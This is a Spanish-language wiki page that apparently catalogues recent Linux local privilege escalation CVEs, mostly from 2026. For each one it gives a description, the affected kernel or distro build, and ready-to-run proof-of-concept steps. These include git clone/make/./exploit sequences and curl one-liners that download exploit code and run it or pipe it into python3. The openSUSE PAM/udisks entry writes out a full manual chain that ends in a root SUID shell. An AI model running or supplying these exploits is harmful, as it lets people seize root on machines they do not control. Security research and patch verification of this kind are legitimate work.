This content is not available in English yet.View Spanish original →
WIKI / FIELD NOTE

Linux LPE Exploits

Exploits de escalada de privilegios local de Linux recién salidos del horno.

La evolución de los modelos de inteligencia artificial ha acelerado la investigación de vulnerabilidades y, con ella, la aparición de nuevos fallos de severidad alta o crítica, incluidos numerosos exploits de escalada local de privilegios en Linux. Como resulta difícil seguir el ritmo al que se publican nuevas investigaciones, PoC y parches, esta página reúne algunas de las vulnerabilidades recientes más relevantes con la intención de mantener una lista actualizada.

A continuación proporcionamos un script básico de enumeración que identifica versiones, configuraciones y superficies del sistema relacionadas con estas vulnerabilidades. De esta forma es posible enumerar rápidamente si tu versión de sistema operativo es vulnerable a alguno de los CVE que aquí se listan.

SHexploit_enum.shLinux exploit surface enumerator
Descargar

CVE-2026-72137: XFRM NAT keepalive double-free

Descripción: nat_keepalive_send() vuelve a liberar un skb que la ruta IPv4/IPv6 ya consumió al devolver un error, permitiendo corrupción de heap y escalada local.

Requisitos: Código introducido en Linux 6.11, XFRM NAT keepalive y kernel sin parche. Corregido en 6.12.101, 6.18.40, 7.1.5 y v7.2-rc4. Ubuntu 26.04 seguía marcado como vulnerable el 27 de agosto de 2026.

PoC: El exploit de NebuSec está perfilado para Ubuntu 26.04 con kernel 7.0.0-28. Compilar y ejecutar sólo sobre ese build; 7.0.0-29 requiere confirmar offsets y el changelog del paquete antes de reutilizar el perfil.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-72137-ubuntu-7.0.0-28
make
./exploit

El Makefile usa musl-gcc y genera un binario estático llamado exploit.

Referencias: NebuSec/CyberMeowfia · Autor: NebuSec · Divulgación: agosto de 2026.

CVE-2026-43501: Route of Root

Descripción: El procesamiento de cabeceras IPv6 RPL puede reconstruir incorrectamente mac_header y producir una escritura fuera de límites de 14 bytes. NebuSec convierte esta primitive en lectura/escritura de memoria del kernel y root.

Requisitos: Linux 5.7-rc1–7.1-rc1 con IPv6. La ruta local requiere user y network namespaces sin privilegios; la ruta remota requiere net.ipv6.conf.*.rpl_seg_enabled=1. El exploit publicado necesita un perfil compatible con el kernel.

PoC: Compilar el target de NebuSec/CyberMeowfia y ejecutarlo como usuario normal sobre el build soportado. El análisis Route of Root documenta la escritura OOB, el bypass de KASLR y la cadena hasta root.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-43501-kernelCTF
make
./exploit --vuln-trigger # sólo comprueba el trigger
./exploit                # cadena completa para el target soportado

make descarga target_db.kxdb, clona google/kernel-research y compila libkernelXDK; requiere g++, Git, wget, CMake y enlace estático.

Referencias: Route of Root · Autor: NebuSec · Reportado: 23 de febrero de 2026.

CVE-2026-74480: bridge multicast fast-leave UAF

Descripción: br_multicast_leave_group() continúa recorriendo la lista después de borrar un port group, dejando un puntero liberado cuando multicast-to-unicast se activa y después se desactiva.

Requisitos: Linux bridge con multicast snooping, fast-leave y multicast-to-unicast; user/network namespaces para preparar la topología sin privilegios. Corregido en 5.10.265, 5.15.216, 6.1.183, 6.6.151, 6.12.103, 6.18.44, 7.1.8 y 7.2.

PoC: Usar el perfil de RHEL 10.2 6.12.0-211.7.3.el10_2 publicado en NebuSec/CyberMeowfia. El aviso oficial del kernel recoge la causa y las versiones corregidas.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-74480-RHEL-6.12.0-211.7.3.el10_2
make
./exploit --vuln-trigger # reproduce el UAF
./exploit --leak-only    # valida la fase de leak
./exploit                # exploit completo

El Makefile requiere musl-gcc; los demás argumentos están destinados a fases internas del exploit.

Referencias: Aviso oficial del kernel · Autor del exploit: NebuSec · Divulgación: 15 de agosto de 2026.

CVE-2026-52912: NFQUEUE bridge skb->dev UAF

Descripción: NFQUEUE conserva skb->dev después de liberar el bridge master mientras el paquete está en cola. Al reinyectarlo, el kernel reutiliza el puntero liberado y permite controlar el flujo de ejecución.

Requisitos: Bridge, br_netfilter, NFQUEUE, nftables y user/network namespaces. El exploit público está perfilado para Fedora con kernel 6.19.10-300.fc43.x86_64.

PoC: Compilar y ejecutar el target Linux-CVE-2026-52912-Fedora-6.19.10-300. El código crea el bridge y los veth, encola el paquete, libera el master y reclama el objeto antes de aceptar el paquete retenido.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52912-Fedora-6.19.10-300
make
./exploit

El Makefile compila estáticamente con musl-gcc; --worker es una fase interna que el propio binario relanza.

Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.

CVE-2026-52923: SysV IPC IDR UAF

Descripción: La ruta checkpoint/restore permite asignar un identificador SysV IPC fuera de ipc_mni. La codificación posterior trunca el índice, libera el objeto equivocado y deja una entrada IDR apuntando a memoria liberada.

Requisitos: SysV IPC, checkpoint/restore y user/IPC namespaces. El exploit publicado corresponde a RHEL 10.2 con kernel 6.12.0-211.7.3.el10_2 y utiliza shared memory, /proc/sysvipc/shm y un perfil exacto de offsets.

PoC: Compilar el perfil Linux-CVE-2026-52923-RHEL-6.12.0-211.7.3.el10_2. El argumento --vuln-trigger reproduce únicamente la asignación fuera de rango; sin argumentos ejecuta la cadena completa del target.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52923-RHEL-6.12.0-211.7.3.el10_2
make
./exploit --vuln-trigger
./exploit

El primer comando valida el fallo de SysV IPC sin ejecutar las fases de leak, reclaim, objeto falso y ROP empleadas por la cadena completa.

Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.

CVE-2026-23274: Netfilter IDLETIMER use-before-initialization

Descripción: Una regla xt_IDLETIMER revisión 0 puede reutilizar una etiqueta creada con la revisión 1 y backend ALARM, haciendo que mod_timer() opere sobre un timer_list sin inicializar y permitiendo secuestrar el flujo de control.

Requisitos: Kernel desde 5.7-rc1 sin el fix, xt_IDLETIMER, user/network namespaces y CAP_NET_ADMIN dentro del namespace. El exploit fue validado contra el target COS de kernelCTF.

PoC: Compilar el exploit de NebuSec. El write-up técnico explica la reutilización de la etiqueta, el control del temporizador y la cadena ROP.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-23274-kernelCTF
make
./exploit --vuln-trigger
./exploit

El Makefile obtiene kernelXDK y su base de targets. --vuln-trigger limita la ejecución a la reproducción de IDLETIMER; sin argumentos usa el perfil kernelCTF completo.

Referencias: Investigación de NebuSec · Autor: NebuSec · Reportado: 1 de marzo de 2026.

CVE-2026-52929: SCTP stream rollback

Descripción: Al denegar ADD_OUT_STREAMS, SCTP no revierte completamente el estado privado del scheduler. Las listas RR/FC/PRIO quedan inconsistentes y el exploit las convierte en una primitive de lectura/escritura para modificar credenciales.

Requisitos: SCTP con stream reset/reconfiguration y un perfil exacto del kernel. El target de NebuSec es Ubuntu 26.04 con kernel 7.0.0-28-generic; no debe extrapolarse a cualquier kernel afectado.

PoC: Compilar confuse.c desde Linux-CVE-2026-52929-Ubuntu-7.0.0-28 con el Makefile incluido y ejecutarlo como usuario normal sobre ese build.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52929-Ubuntu-7.0.0-28
make
./exploit

El Makefile transforma confuse.c en un binario estático exploit con GCC y pthreads.

Referencias: CVE-2026-52929 · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.

CVE-2026-52933: io_uring poll_refs signed wrap

Descripción: io_poll_get_ownership() compara poll_refs como entero con signo. Al establecer el bit de cancelación o desbordar el contador, omite el slow path y permite duplicar finalizaciones y referencias hasta construir un page UAF.

Requisitos: io_uring habilitado, arquitectura x86-64 y el target Fedora 6.19.10-300.fc43.x86_64. La cadena completa necesita alrededor de 2^30 wakeups y offsets específicos del build.

PoC: Compilar el perfil Linux-CVE-2026-52933-Fedora-6.19.10-300. Ejecutar primero su modo preflight; el modo exploit realiza el wrap y encadena el page UAF hasta el payload privilegiado.

git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52933-Fedora-6.19.10-300
make
./exploit 1073741823 1 preflight
./exploit

El primer argumento es el número de wakeups y el segundo los workers. Sin argumentos usa (2^30)-1, un worker, modo directo y la cadena completa.

Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.

CVE-2026-64531: OVSwrap

Descripción: Una action anidada de Open vSwitch superior a 65 535 bytes desborda nla_len; el parser termina interpretando conntrack controlado como atributos y permite alterar credenciales del kernel.

Requisitos: Kernel anterior al fix del 24 de julio de 2026, user/network namespaces, Open vSwitch conntrack y Python 3. El módulo openvswitch.ko puede cargarse automáticamente. Debian 13 y Ubuntu 24.04 tienen perfiles publicados.

PoC: Ejecutar como usuario normal el PoC oficial de manizada, que selecciona el perfil del kernel:

curl -fsSLo /tmp/ovswrap-poc.py https://raw.githubusercontent.com/manizada/OVSwrap/main/ovswrap-poc.py && python3 /tmp/ovswrap-poc.py

Debe guardarse como fichero: el proceso padre vuelve a ejecutar sys.argv[0] con --child dentro del namespace, por lo que curl | python3 no funciona aquí. El script selecciona automáticamente entre aproximadamente 800 perfiles x86-64; para builds no incluidos intenta derivar los datos desde BTF o símbolos locales.

Referencias: OVSwrap · Autor: manizada · Divulgación: 28 de julio de 2026.

CVE-2026-53361: BadGarbage

Descripción: Una carrera entre el garbage collector de sockets AF_UNIX y MSG_PEEK libera un socket todavía alcanzable y deja un sk_buff colgante; el mismo primitive permite LPE y escape de contenedor.

Requisitos: Target soportado por el exploit. El perfil recomendado es Debian 13 con kernel 6.12.94; también soporta Ubuntu 24.04 HWE hasta 6.17.0-41. Para demostrar escape, usar Docker dentro de la VM, no un LXC del hipervisor.

PoC: Compilar el perfil exacto del repositorio bad_garbage y ejecutar primero en el host de la VM; para container escape, repetir dentro de un contenedor Docker privilegiado únicamente con las capacidades indicadas por el README:

git clone --depth 1 https://github.com/sgkdev/bad_garbage.git
cd bad_garbage
make
./exploit

El Makefile requiere x86_64-linux-gnu-gcc y genera exploit; el repositorio limita el diseño publicado a máquinas con 2–7 CPU y a los kernels de su tabla de targets.

Referencias: bad_garbage · Autor: sgkdev · Divulgación: agosto de 2026.

CVE-2026-46242: Bad Epoll

Descripción: Una carrera en epoll deja un objeto liberado accesible y permite convertir una escritura UAF de 8 bytes en lectura arbitraria y ejecución de una cadena ROP como root.

Requisitos: Kernel basado en v6.4 o posterior sin el commit a6dc643c6931. No depende de módulos ni user namespaces. El exploit público soporta lts-6.12.67 y cos-121-18867.294.100; otros kernels requieren un perfil nuevo.

PoC: Seleccionar uno de los targets soportados y seguir el build del repositorio original de Bad Epoll. El perfil lts-6.12.67 obtuvo root con una fiabilidad publicada del 99 % en kernelCTF.

git clone --depth 1 --branch submit-cve-2026-46242 \
  https://github.com/J-jaeyoung/security-research.git
cd security-research/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67
make
./exploit

Para COS se usa el directorio cos-121-18867.294.100. Sus Makefiles requieren g++, CMake, make, wget, Git y libkeyutils-dev, y descargan google/kernel-research y target_db.kxdb.

Referencias: Bad Epoll · Autor: J-jaeyoung · Fecha de descubrimiento no publicada.

CVE-2026-31431: Copy Fail

Descripción: algif_aead permite escribir sobre páginas del page cache mediante splice(), alterando en memoria un binario SUID y obteniendo root sin modificarlo en disco.

Requisitos: Kernel vulnerable, Python 3 con os.splice(), AF_ALG, algif_aead, authencesn y un binario SUID legible como /usr/bin/su.

PoC: Ejecutar el PoC oficial de Theori:

curl -fsSL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py | python3

Es un único script autocontenido y termina llamando él mismo a su; no hace falta ejecutar un segundo su.

Referencias: Theori: Copy Fail · Autor: Theori · Divulgación: 29 de abril de 2026.

CVE-2026-41651: Pack2TheRoot

Descripción: Dos llamadas D-Bus InstallFiles() sobre la misma transacción de PackageKit cambian flags y rutas después de la autorización, permitiendo instalar un paquete arbitrario como root.

Requisitos: PackageKit 1.0.2–1.3.4, D-Bus, polkit y packagekitd. Corregido en 1.3.5 y backports.

PoC: El exploit público de Vozec puede compilarse contra GLib/GIO o ejecutarse en el laboratorio reproducible:

git clone --depth 1 https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
sudo apt install -y build-essential pkg-config libglib2.0-dev
make
./cve-2026-41651

El contenedor del repositorio construye PackageKit 1.3.4, el último upstream vulnerable:

docker build -t pack2theroot .
docker run --rm -it --privileged pack2theroot

Referencias: CVE-2026-41651 · Autor del exploit público: Vozec · Divulgación: abril de 2026.

CVE-2025-32463: sudo --chroot

Descripción: sudo -R consulta nsswitch.conf dentro de un chroot controlado por el usuario y carga una biblioteca NSS como root.

Requisitos: sudo 1.9.14–1.9.17 anterior a 1.9.17p1. Ubuntu 24.04 sin el parche es un laboratorio sencillo; no hace falta una regla sudoers que autorice al usuario.

PoC: Usar el PoC enlazado por el advisory de sudo:

git clone --depth 1 https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
chmod +x run.sh sudo-chwoot.sh
./run.sh
# Dentro del contenedor vulnerable:
./sudo-chwoot.sh id

Referencias: Advisory de sudo · Investigador: Rich Mirch, Stratascale CRU · Divulgación: 30 de junio de 2025.

CVE-2026-43284 + CVE-2026-43500: Dirty Frag

Descripción: Dos fallos de fragmentación en XFRM/ESP y RxRPC permiten descifrar datos sobre páginas compartidas y sobrescribir el page cache de un ejecutable SUID.

Requisitos: Kernel anterior a la cadena de fixes del 4 de mayo de 2026, módulos esp4, esp6 y rxrpc, user namespaces y un SUID legible. Son dos CVE y deben corregirse ambas.

PoC: Compilar el perfil correspondiente del repositorio de V4bel, cargar los módulos indicados y ejecutar el binario como usuario normal:

curl -fsSLo /tmp/dirtyfrag.c https://raw.githubusercontent.com/V4bel/dirtyfrag/master/exp.c && gcc -O0 -Wall -o /tmp/dirtyfrag /tmp/dirtyfrag.c -lutil && /tmp/dirtyfrag

El repositorio no contiene Makefile y exp.c es autocontenido. Ésas son las flags de compilación publicadas por el autor.

Referencias: Dirty Frag · Autor: V4bel · Divulgación: 7 de mayo de 2026.

CVE-2026-46331: pedit COW

Descripción: act_pedit calcula un rango COW incompleto para offsets dinámicos y termina escribiendo sobre una página compartida del page cache.

Requisitos: Kernel v5.18–v7.1-rc6, act_pedit, user y network namespaces y un SUID legible. Targets verificados: Debian 13 6.12.90+deb13.1 y Ubuntu 24.04.4 6.17.0-22.

PoC: Compilar el exploit packet_edit_meme:

git clone --depth 1 https://github.com/yanxinwu946/CVE-2026-46331.git
cd CVE-2026-46331
make
./packet_edit_meme          # Debian 13
./packet_edit_meme --ubuntu # Ubuntu 24.04.4

El Makefile produce un binario estático x86-64. En Ubuntu, --ubuntu selecciona la ruta prevista para el bloqueo AppArmor de user namespaces.

Referencias: CVE-2026-46331 · Autor: yanxinwu946 · Divulgación: junio de 2026.

CVE-2026-43499: GhostLock

Descripción: Una carrera en FUTEX_CMP_REQUEUE_PI deja un rt_mutex_waiter de la pila referenciado después de retornar, proporcionando escrituras de puntero en kernel y una vía a root.

Requisitos: Kernel vulnerable con futex PI. El trigger es genérico, pero la cadena completa publicada exige Android ARM64 y un PROJECT exacto incluido en el repositorio. No existe allí un perfil completo para Ubuntu.

PoC: En Linux, compilar únicamente el trigger publicado. Provoca la carrera y puede quedarse bloqueado; no concede root:

curl -fsSLo /tmp/ghostlock-poc.c https://raw.githubusercontent.com/NebuSec/CyberMeowfia/main/IonStack/CVE-2026-43499/poc/poc.c && gcc -std=gnu17 -O2 -pthread -o /tmp/ghostlock-poc /tmp/ghostlock-poc.c && /tmp/ghostlock-poc

El exploit completo de exploit/ usa Android NDK y perfiles blazer, caiman, comet, frankel, komodo, mustang, rango y tokay. make list-projects enumera los builds admitidos y make PROJECT=<build> genera build/<build>/bin/preload.so; no debe presentarse como exploit genérico de Ubuntu.

Referencias: GhostLock · Autor: NebuSec · Reportado: 18 de abril de 2026.

CVE-2026-46333: ptrace exit race

Descripción: Una carrera entre pidfd_getfd() y la salida de un proceso hace que __ptrace_may_access() omita el control cuando mm == NULL, permitiendo robar descriptores abiertos por procesos privilegiados.

Requisitos: Kernel anterior al commit 31e62c2ebbfd, acceso local y kernel.yama.ptrace_scope=1. El resultado depende del proceso objetivo: lectura de /etc/shadow, claves SSH o ejecución privilegiada.

PoC: Para una escalada reproducible contra accounts-daemon, compilar el PoC ptrace_may_dream:

git clone --depth 1 https://github.com/sgkdev/ptrace_may_dream.git
cd ptrace_may_dream
make
./ptrace_may_dream --retries 1000 --nthreads 8

Acepta --retries N, --nthreads N y un slot de descriptor opcional. El target publicado es accounts-daemon sobre RHEL 10/Fedora 44 con su socket D-Bus en el FD 5.

Referencias: ptrace_may_dream · Autor: sgkdev · Divulgación: 20 de mayo de 2026.

CVE-2026-46243: CIFSwitch

Descripción: El kernel acepta descripciones cifs.spnego fabricadas por userspace; cifs.upcall confía en sus campos de identidad y ejecuta la resolución de credenciales con autoridad incorrecta.

Requisitos: Kernel y cifs-utils sin parche, keyrings y user namespaces. Kali 2026.1 anterior al parche es el target más directo; Ubuntu 24.04 requiere instalar cifs-utils y sortear la restricción AppArmor de userns.

PoC: Compilar y ejecutar el perfil de Kali del repositorio oficial CIFSwitch:

curl -fsSL https://raw.githubusercontent.com/manizada/CIFSwitch/main/cifswitch-poc.py | python3

Es un único script autocontenido: genera y compila con GCC dos helpers C, una biblioteca NSS falsa y el trigger de cifs.upcall.

Referencias: CIFSwitch · Autor: manizada · Divulgación: 27 de mayo de 2026.

CVE-2024-1086: nf_tables UAF

Descripción: Use-after-free en nf_tables que permite a un usuario local corromper memoria del kernel y obtener root.

Requisitos: Kernel 5.14–6.6 sin parche, CONFIG_USER_NS=y, user namespaces sin privilegios y CONFIG_NF_TABLES=y. Debian 12 con 6.1.75 es un target directo; 6.1.76 ya contiene el fix. El exploit puede provocar un kernel panic después de obtener root.

PoC: Compilar y ejecutar el exploit de Notselwyn:

git clone --depth 1 https://github.com/Notselwyn/CVE-2024-1086.git
cd CVE-2024-1086
make
./exploit

Para una ejecución remota por SSH, el README recomienda activar CONFIG_REDIRECT_LOG=1 en src/config.h antes de compilar. El binario publicado está configurado para x86-64 y hasta 32 GiB de RAM.

Referencias: CVE-2024-1086 · Autor: Notselwyn · Divulgación: enero de 2024.

CVE-2026-8933: snap-confine file capabilities

Descripción: La variante de snap-confine con file capabilities crea temporalmente rutas de /tmp/snap.rootfs_* con el UID del usuario. Dos carreras permiten sustituir una ruta por un symlink y conservar permisos de escritura después del fchown(), creando finalmente una regla de udev como root.

Requisitos: Ubuntu Desktop 26.04 o una 24.04 con la variante basada en file capabilities, anterior a snapd 2.76.1. Las instalaciones tradicionales SUID no siguen la misma ruta vulnerable.

PoC: Validar primero cuál de las dos copias usa file capabilities:

getcap /usr/lib/snapd/snap-confine /snap/snapd/current/usr/lib/snapd/snap-confine 2>/dev/null
stat -c '%A %U:%G %n' /usr/lib/snapd/snap-confine /snap/snapd/current/usr/lib/snapd/snap-confine 2>/dev/null
snap version

El advisory técnico de Qualys muestra la ejecución como ./exploit y el resultado en /tmp/pwned, pero aclara en su cronología que el exploit fue entregado privadamente a Ubuntu; no adjunta su fuente. La reproducción pública disponible es, por tanto, la validación de versión/capabilities y la descripción de las dos carreras, no un binario compilable descargable.

Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 21 de julio de 2026.

CVE-2026-53264: Traffic-Control action UAF

Descripción: Una carrera entre NEWTFILTER y DELFILTER libera una action de traffic control mientras otro hilo todavía la utiliza, proporcionando un use-after-free explotable como root.

Requisitos: Kernel sin el arreglo RCU de act_api, traffic control y un target compatible. El exploit público está orientado a CentOS Stream 9 Desktop y utiliza Intel Processor Trace, por lo que no es directamente portable a la mayoría de VM cloud.

PoC: Compilar y ejecutar el target publicado por STAR Labs sobre la versión exacta de CentOS Stream 9 indicada en su README. El análisis y las limitaciones del exploit están en el write-up original.

git clone --depth 1 https://github.com/star-sg/CVE.git
cd CVE/CVE-2026-53264
make poc
./poc

El Makefile construye poc estáticamente con GCC/G++, pthreads y las rutinas de leak específicas del target; no ofrece selección automática para otros kernels.

Referencias: Write-up de STAR Labs · Autor: STAR Labs · Divulgación: julio de 2026.

CVE-2026-43503: DirtyClone

Descripción: La cadena incompleta de parches de Dirty Frag pierde flags de fragmentos durante skb_shift()/GRO y permite volver a escribir sobre páginas del page cache.

Requisitos: Kernel con sólo parte de los cuatro fixes Dirty Frag, user namespaces y un SUID legible. Ubuntu 22.04 es un target cómodo; el fix final llegó en v7.1-rc5.

PoC: Compilar y ejecutar una de las dos variantes (skb_shift o gro) publicadas en page-cache-corruption-lpes:

curl -fsSLo /tmp/dirtyclone.c https://raw.githubusercontent.com/rjt-gupta/page-cache-corruption-lpes/main/skb_shift/exploit.c && gcc -O2 -Wall -static -o /tmp/dirtyclone /tmp/dirtyclone.c && /tmp/dirtyclone

La variante GRO usa https://raw.githubusercontent.com/rjt-gupta/page-cache-corruption-lpes/main/gro/exploit.c; ambos son exploit.c autocontenidos.

Referencias: page-cache-corruption-lpes · Autor: Rishabh Gupta · Divulgación: 25 de junio de 2026.

CVE-2026-46300: Fragnesia

Descripción: ESP-in-TCP procesa fragmentos sin separar correctamente páginas compartidas, permitiendo corromper el page cache y reemplazar en memoria el código de un SUID.

Requisitos: Kernel vulnerable con XFRM, ESP-in-TCP, esp4/esp6, user namespaces y un SUID legible. En Ubuntu 24.04 el perfil AppArmor puede impedir crear el user namespace.

PoC: La ruta publicada actualmente es fragnesia dentro del repositorio de V12 Security:

curl -fsSLo /tmp/fragnesia.c https://raw.githubusercontent.com/v12-security/pocs/main/fragnesia/fragnesia.c && gcc -O2 -o /tmp/fragnesia /tmp/fragnesia.c && /tmp/fragnesia

El binario selecciona /usr/bin/su, prepara user/network namespaces, instala la SA XFRM y escribe el payload byte a byte en el page cache.

Referencias: Fragnesia · Autor: William Bowling, V12 Security · Divulgación: 13 de mayo de 2026.

CVE-2026-43494: PinTheft

Descripción: Un fallo de referencias en RDS zero-copy, combinado con buffers fijos de io_uring, libera una página todavía referenciada y permite sobrescribir el page cache de un SUID.

Requisitos: x86-64, rds, rds_tcp, io_uring habilitado y un SUID legible. El PoC original está perfilado para Arch Linux anterior al parche.

PoC: Compilar el exploit completo de V12 Security y ejecutarlo como usuario normal:

curl -fsSLo /tmp/pintheft.c https://raw.githubusercontent.com/v12-security/pocs/main/pintheft/poc.c && gcc -O2 -static -o /tmp/pintheft /tmp/pintheft.c && /tmp/pintheft

El código de 0xBlackash/CVE-2026-43494 no se usa aquí porque deja explícitamente sin implementar el READ_FIXED de la fase final. El PoC de V12 sí implementa los reintentos, la corrupción del page cache y la ejecución del SUID.

Referencias: PinTheft · Autor: Aaron Esau, V12 Security · Divulgación: mayo de 2026.

CVE-2026-64600: RefluXFS

Descripción: Una carrera de XFS reflink permite modificar bloques compartidos de un archivo privilegiado y persistir el cambio en disco.

Requisitos: XFS con reflink=1, kernel sin backport del fix y acceso local. RHEL 10.2 o Rocky/Alma equivalente con raíz XFS es el laboratorio de referencia.

PoC: Confirmar primero que el filesystem objetivo es XFS y fue creado con reflink:

findmnt -no FSTYPE,TARGET /
xfs_info / | grep 'reflink=1'
uname -r

El advisory completo de Qualys documenta la carrera: clonar con FICLONE un archivo legible hacia /var/tmp, abrir el clon con O_DIRECT y lanzar 32 escrituras de 4 KiB sincronizadas. Qualys no publicó el código del exploit ni un trigger descargable, por lo que no existe un comando de compilación oficial que reproducir. El exploit demostrado modifica /etc/passwd en disco y después ejecuta su.

Referencias: Advisory RefluXFS · Autor: Qualys Threat Research Unit · Divulgación: 22 de julio de 2026.

CVE-2026-64564: SCTPhantom

Descripción: SCTP ASCONF procesa una secuencia DEL-IP que libera el transport todavía guardado en la asociación, dejando primary_path y active_path apuntando a memoria liberada.

Requisitos: Kernel con SCTP disponible y sin el commit 9b2854f86f0b; el fallo existe desde v2.6.25 y el fix entró en v7.2-rc5. Un usuario local puede habilitar ASCONF y AUTH por socket sin CAP_NET_ADMIN.

PoC: Los investigadores demostraron LPE y container escape, pero no publicaron su exploit. El tracker de SCTPhantom contiene la secuencia de trigger y el estado de parches. El código comunitario para Debian 13 6.12.95 no está verificado como exploit oficial.

Referencias: SCTPhantom tracker · Autor: suominen · Fecha de descubrimiento no publicada.

CVE-2026-23111: nftables genmask UAF

Descripción: Una comprobación de generation mask invertida en nft_map_catchall_activate() deja referencias colgantes y permite reutilizar una cadena liberada.

Requisitos: Kernel con el bug, user namespaces sin privilegios y nf_tables. Debian con kernel upstream 6.12.69 es el target descrito; 6.12.70 contiene el fix.

PoC: Compilar el exploit nft-catchall-uaf del repositorio de Rafael Tinoco siguiendo su README; el perfil, offsets y estrategia de reclaim deben coincidir con el kernel del laboratorio.

curl -fsSLo /tmp/nft-catchall-uaf.c https://raw.githubusercontent.com/rafaeldtinoco/security/main/exploits/nft-catchall-uaf/exploit.c && gcc -O2 -Wno-unused-result -o /tmp/nft-catchall-uaf /tmp/nft-catchall-uaf.c
/tmp/nft-catchall-uaf check # valida la ruta vulnerable
/tmp/nft-catchall-uaf       # LPE para Debian 6.12.5-amd64 con ibt=off

check es independiente de offsets; la cadena completa no lo es y el autor la limita deliberadamente a un boot sin CONFIG_X86_KERNEL_IBT.

Referencias: nft-catchall-uaf · Autor: Rafael David Tinoco · Divulgación: junio de 2026.

CVE-2026-3888: snap-confine + systemd-tmpfiles

Descripción: systemd-tmpfiles elimina /tmp/.snap; un usuario puede reconstruirlo y hacer que snap-confine monte contenido controlado con privilegios de root.

Requisitos: Ubuntu Desktop 24.04 con snapd anterior a 2.73+ubuntu24.04.2. La caducidad normal es de 30 días, pero en laboratorio puede ejecutarse manualmente la regla de limpieza.

PoC: Abrir una shell dentro del snap y mantener vivo /tmp hasta que desaparezca .snap:

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash
cd /tmp
while test -d ./.snap; do touch ./; sleep 60; done

Desde otra terminal, usar /proc/<PID>/cwd e invalidar el sandbox como documenta el advisory de Qualys:

cd /proc/<PID_DE_LA_SHELL>/cwd
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent

Qualys no publicó el fuente de firefox_24.04.c: la cronología indica que lo entregó privadamente al Ubuntu Security Team. Por tanto, la secuencia pública permite reproducir la preparación y desaparición de .snap, pero no compilar la cadena LPE completa. La aceleración de systemd-tmpfiles requiere modificar el tiempo del laboratorio y ejecutar su limpieza como root.

Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 17 de marzo de 2026.

CVE-2026-31635: DirtyDecrypt / DirtyCBC

Descripción: rxgk_decrypt_skb() descifra AES-CBC sin un COW previo y escribe directamente sobre páginas compartidas del page cache.

Requisitos: Kernel vulnerable compilado con CONFIG_RXGK=y o m, soporte AF_RXRPC y un SUID legible. Muchos kernels de distribución no incluyen RxGK; es preferible compilar un kernel vulnerable.

PoC: El PoC de V12 Security documenta el build y el target. Verificar primero CONFIG_RXGK, compilar y ejecutar:

grep CONFIG_RXGK /boot/config-"$(uname -r)"
curl -fsSLo /tmp/dirtydecrypt.c https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c && gcc -O2 -o /tmp/dirtydecrypt /tmp/dirtydecrypt.c && /tmp/dirtydecrypt

El repositorio publica poc.c sin Makefile; necesita que el kernel incluya realmente RxGK, no sólo AF_RXRPC.

Referencias: DirtyDecrypt · Autor: V12 Security · Divulgación: mayo de 2026.

CVE-2025-6018 + CVE-2025-6019: PAM + libblockdev/udisks

Descripción: La primera vulnerabilidad convierte una sesión SSH normal de SUSE en una sesión allow_active; la segunda abusa de libblockdev mediante udisks para montar un filesystem preparado y ejecutar código como root.

Requisitos: openSUSE Leap 15.6/SUSE 15 anterior a los parches de junio de 2025, SSH, PAM vulnerable, polkit, udisks2 y libblockdev. Confirmar desde la sesión SSH que org.freedesktop.udisks2.modify-device devuelve yes para allow_active.

PoC: En la víctima openSUSE, convertir la próxima sesión SSH en allow_active y volver a entrar:

printf 'XDG_SEAT OVERRIDE=seat0\nXDG_VTNR OVERRIDE=1\n' > ~/.pam_environment
exit
ssh usuario@victima
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

La respuesta debe ser ('yes',). En una máquina de laboratorio con root, preparar y transferir la imagen XFS del advisory:

dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs xfs.image
mkdir xfs.mount
mount -t xfs xfs.image xfs.mount
cp /bin/bash xfs.mount/bash
chmod 04555 xfs.mount/bash
umount xfs.mount
scp xfs.image usuario@victima:

De nuevo en la víctima:

killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
udisksctl loop-setup --file ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
/tmp/blockdev*/bash -p

Estos son los comandos publicados por Qualys; el loop device puede no ser loop0 y debe sustituirse en el object path por el devuelto por udisksctl.

Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 17 de junio de 2025.

CVE-2025-6020 + CVE-2025-8941: pam_namespace

